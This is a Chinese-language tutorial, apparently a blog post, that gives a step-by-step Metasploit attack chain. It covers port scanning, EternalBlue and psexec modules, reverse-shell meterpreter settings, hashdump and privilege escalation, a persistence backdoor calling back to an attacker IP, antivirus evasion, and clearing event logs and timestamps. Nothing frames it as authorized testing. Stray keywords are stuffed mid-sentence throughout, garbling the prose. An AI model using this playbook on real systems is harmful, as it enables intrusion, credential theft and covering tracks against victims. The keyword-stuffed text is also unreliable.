```html

利用Metasploit进行攻击步骤包含哪些

Metasploit不是利用一键入侵按钮。它更像一把瑞士军刀——功能多，进行但得知道往哪儿捅。攻击我见过太多人打开msfconsole就懵了，步骤包含上来直接敲exploit，利用结果连反弹shell的进行IP都填错。下面拆开讲，攻击一个完整的步骤包含攻击链到底要过几道手。

第一步：信息收集——别急着上模块

拿到一个目标IP，利用先别碰exploit。进行用db_nmap扫端口，攻击或者auxiliary/scanner/下的步骤包含各种扫描器。比如auxiliary/scanner/smb/smb_version，利用能直接告诉你对方Windows是进行哪个补丁级别。我习惯先跑services命令看数据库里存了哪些服务，攻击再决定下一步。这一步偷懒，后面全白干。

有个坑：很多人用nmap扫完不导入数据库，结果在msf里还得手动set RHOSTS。用db_import或者直接db_nmap，省事。扫到445端口开着，别激动，先确认SMB签名是否开启——有些模块对签名有要求。

第二步：选模块——别只看rank

search命令是起点。比如search type:exploit platform:windows smb，出来一堆。注意看Rank列：excellent不一定适合你，average可能更稳。我有次用ms17_010_eternalblue，rank是great，但目标打了补丁，直接失败。换ms17_010_psexec反而通了——因为它走的是命名管道，不依赖那个漏洞。

选模块时看info。里面Available targets列了不同系统版本，别默认选Automatic。手动指定set TARGET 2往往更准。Payload也别无脑用windows/x64/meterpreter/reverse_tcp，如果目标没装VC++运行库，meterpreter可能起不来，换reverse_https更隐蔽。

第三步：配置参数——RHOSTS和LHOST是命门

set RHOSTS 192.168.1.100，set LHOST 192.168.1.50。LHOST填错，反弹连不上。有个细节：如果目标在NAT后面，LHOST得填你的公网IP，同时路由器要做端口映射。我见过有人填了127.0.0.1，然后问为什么没shell——你让目标连它自己？

set RPORT有时要改。比如ms17_010_eternalblue默认445，但有些环境SMB跑在139上。还有set PAYLOAD之后，set ExitOnSession false，不然你关掉一个session，整个handler就停了。set PrependMigrate true能让meterpreter自动迁移到稳定进程，防止目标重启服务后掉线。

第四步：执行与后渗透——别拿了shell就收工

exploit或run。成功的话会弹meterpreter >。这时候别急着screenshot，先getuid看权限。如果是NT AUTHORITY\SYSTEM，直接hashdump；如果是普通用户，getsystem试试。不行就background，然后用post/multi/recon/local_exploit_suggester找提权路径。

有个真实案例：某次我拿到一个低权shell，local_exploit_suggester提示ms16_032可用。切过去set SESSION 1，exploit，直接变SYSTEM。然后run persistence -U -i 10 -p 4444 -r 192.168.1.50，留个后门。但注意——这步容易触发杀软，persistence脚本的默认文件名太显眼，得改set EXE::Custom自己编译一个。

第五步：清理痕迹——不是必须，但专业点

clearev清事件日志，timestomp改文件时间。但别乱用——有些企业环境会监控日志清空行为。更稳妥的做法是migrate到explorer.exe，然后shell里del %TEMP%\*.exe。我一般只删自己上传的工具，不动系统日志，避免打草惊蛇。

最后exit前，sessions -K杀掉所有会话。别留meterpreter挂后台，有些IDS会检测心跳包。整个流程走完，快的话十分钟，慢的话卡在提权上几小时。Metasploit只是工具，思路才是关键——知道什么时候换模块，比会敲命令重要得多。

```